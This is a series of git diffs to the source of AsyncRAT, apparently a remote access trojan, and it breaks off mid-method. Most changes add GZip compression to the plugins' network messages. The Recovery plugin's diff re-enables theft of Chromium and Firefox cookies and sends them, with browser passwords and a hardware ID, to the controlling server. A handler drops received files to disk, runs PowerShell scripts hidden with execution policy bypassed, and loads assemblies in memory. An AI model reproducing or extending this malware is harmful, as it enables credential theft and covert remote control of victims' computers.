public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -59,6 +59,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
45
AsyncRAT-C#/Plugin/Options/Options/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Options/Options/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -53,6 +53,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
45
AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -92,16 +92,16 @@ namespace Plugin.Browsers.Chromium
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
//List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
|
List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
|
||||||
//foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
|
foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
|
||||||
//{
|
{
|
||||||
// Coocks.Append(string.Concat(new string[]
|
Coocks.Append(string.Concat(new string[]
|
||||||
// {
|
{
|
||||||
// fcc.ToString(),
|
fcc.ToString(),
|
||||||
// "\n\n",
|
"\n\n",
|
||||||
// }));
|
}));
|
||||||
//}
|
}
|
||||||
//Coocks.Append("\n");
|
Coocks.Append("\n");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,4 +1,5 @@
|
|||||||
using System;
|
using Plugin.Browsers.Firefox.Cookies;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
@ -10,30 +11,30 @@ namespace Plugin.Browsers.Firefox
|
|||||||
public class Firefox
|
public class Firefox
|
||||||
{
|
{
|
||||||
public bool isOK = false;
|
public bool isOK = false;
|
||||||
//public void CookiesRecovery(StringBuilder Cooks)
|
public void CookiesRecovery(StringBuilder Cooks)
|
||||||
//{
|
{
|
||||||
// try
|
try
|
||||||
// {
|
{
|
||||||
// List<FFCookiesGrabber.FirefoxCookie> ffcs = Cookies.FFCookiesGrabber.Cookies();
|
List<FFCookiesGrabber.FirefoxCookie> ffcs = Cookies.FFCookiesGrabber.Cookies();
|
||||||
// foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs)
|
foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs)
|
||||||
// {
|
{
|
||||||
// if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK)
|
if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK)
|
||||||
// {
|
{
|
||||||
// Cooks.Append("\n== Firefox ==========\n");
|
Cooks.Append("\n== Firefox ==========\n");
|
||||||
// isOK = true;
|
isOK = true;
|
||||||
// }
|
}
|
||||||
// Cooks.Append(string.Concat(new string[]
|
Cooks.Append(string.Concat(new string[]
|
||||||
// {
|
{
|
||||||
// fcc.ToString(),
|
fcc.ToString(),
|
||||||
// "\n\n",
|
"\n\n",
|
||||||
// }));
|
}));
|
||||||
// }
|
}
|
||||||
// Cooks.Append("\n");
|
Cooks.Append("\n");
|
||||||
// }
|
}
|
||||||
// catch
|
catch
|
||||||
// {
|
{
|
||||||
// }
|
}
|
||||||
//}
|
}
|
||||||
|
|
||||||
public void CredRecovery(StringBuilder Pass)
|
public void CredRecovery(StringBuilder Pass)
|
||||||
{
|
{
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -14,22 +14,22 @@ namespace Plugin
|
|||||||
new Browsers.Firefox.Firefox().CredRecovery(Credentials);
|
new Browsers.Firefox.Firefox().CredRecovery(Credentials);
|
||||||
new Browsers.Chromium.Chromium().Recovery(Credentials);
|
new Browsers.Chromium.Chromium().Recovery(Credentials);
|
||||||
|
|
||||||
//StringBuilder Cookies = new StringBuilder();
|
StringBuilder Cookies = new StringBuilder();
|
||||||
//new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
|
new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
|
||||||
//new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
|
new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
|
||||||
|
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||||
msgpack.ForcePathObject("Password").AsString = Credentials.ToString();
|
msgpack.ForcePathObject("Password").AsString = Credentials.ToString();
|
||||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||||
//msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString();
|
msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString();
|
||||||
Connection.Send(msgpack.Encode2Bytes());
|
Connection.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
Error(ex.Message);
|
Error(ex.Message);
|
||||||
|
Connection.Disconnected();
|
||||||
}
|
}
|
||||||
Connection.Disconnected();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void Error(string ex)
|
public static void Error(string ex)
|
||||||
|
@ -56,7 +56,9 @@
|
|||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Compile Include="Browsers\Chromium\Chromium.cs" />
|
<Compile Include="Browsers\Chromium\Chromium.cs" />
|
||||||
|
<Compile Include="Browsers\Chromium\ChromiumCookies.cs" />
|
||||||
<Compile Include="Browsers\CredentialModel.cs" />
|
<Compile Include="Browsers\CredentialModel.cs" />
|
||||||
|
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
|
||||||
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
|
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
|
||||||
<Compile Include="Browsers\Firefox\Firefox.cs" />
|
<Compile Include="Browsers\Firefox\Firefox.cs" />
|
||||||
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
|
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
|
||||||
@ -71,6 +73,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="packages.config" />
|
<None Include="packages.config" />
|
||||||
|
45
AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -87,6 +87,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
45
AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -124,16 +124,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -71,6 +71,7 @@ namespace Plugin
|
|||||||
MsgPack msgpack;
|
MsgPack msgpack;
|
||||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||||
MemoryStream stream;
|
MemoryStream stream;
|
||||||
|
Thread.Sleep(1);
|
||||||
while (IsOk && Connection.IsConnected)
|
while (IsOk && Connection.IsConnected)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
@ -62,6 +62,7 @@
|
|||||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
45
AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,13 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -16,7 +16,7 @@ namespace Plugin.Handler
|
|||||||
{
|
{
|
||||||
//Drop To Disk
|
//Drop To Disk
|
||||||
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
|
||||||
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
|
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
|
||||||
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden });
|
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden });
|
||||||
else
|
else
|
||||||
@ -45,7 +45,7 @@ namespace Plugin.Handler
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Assembly loader = Assembly.Load(buffer);
|
Assembly loader = Assembly.Load(Methods.Decompress(buffer));
|
||||||
object[] parm = null;
|
object[] parm = null;
|
||||||
if (loader.EntryPoint.GetParameters().Length > 0)
|
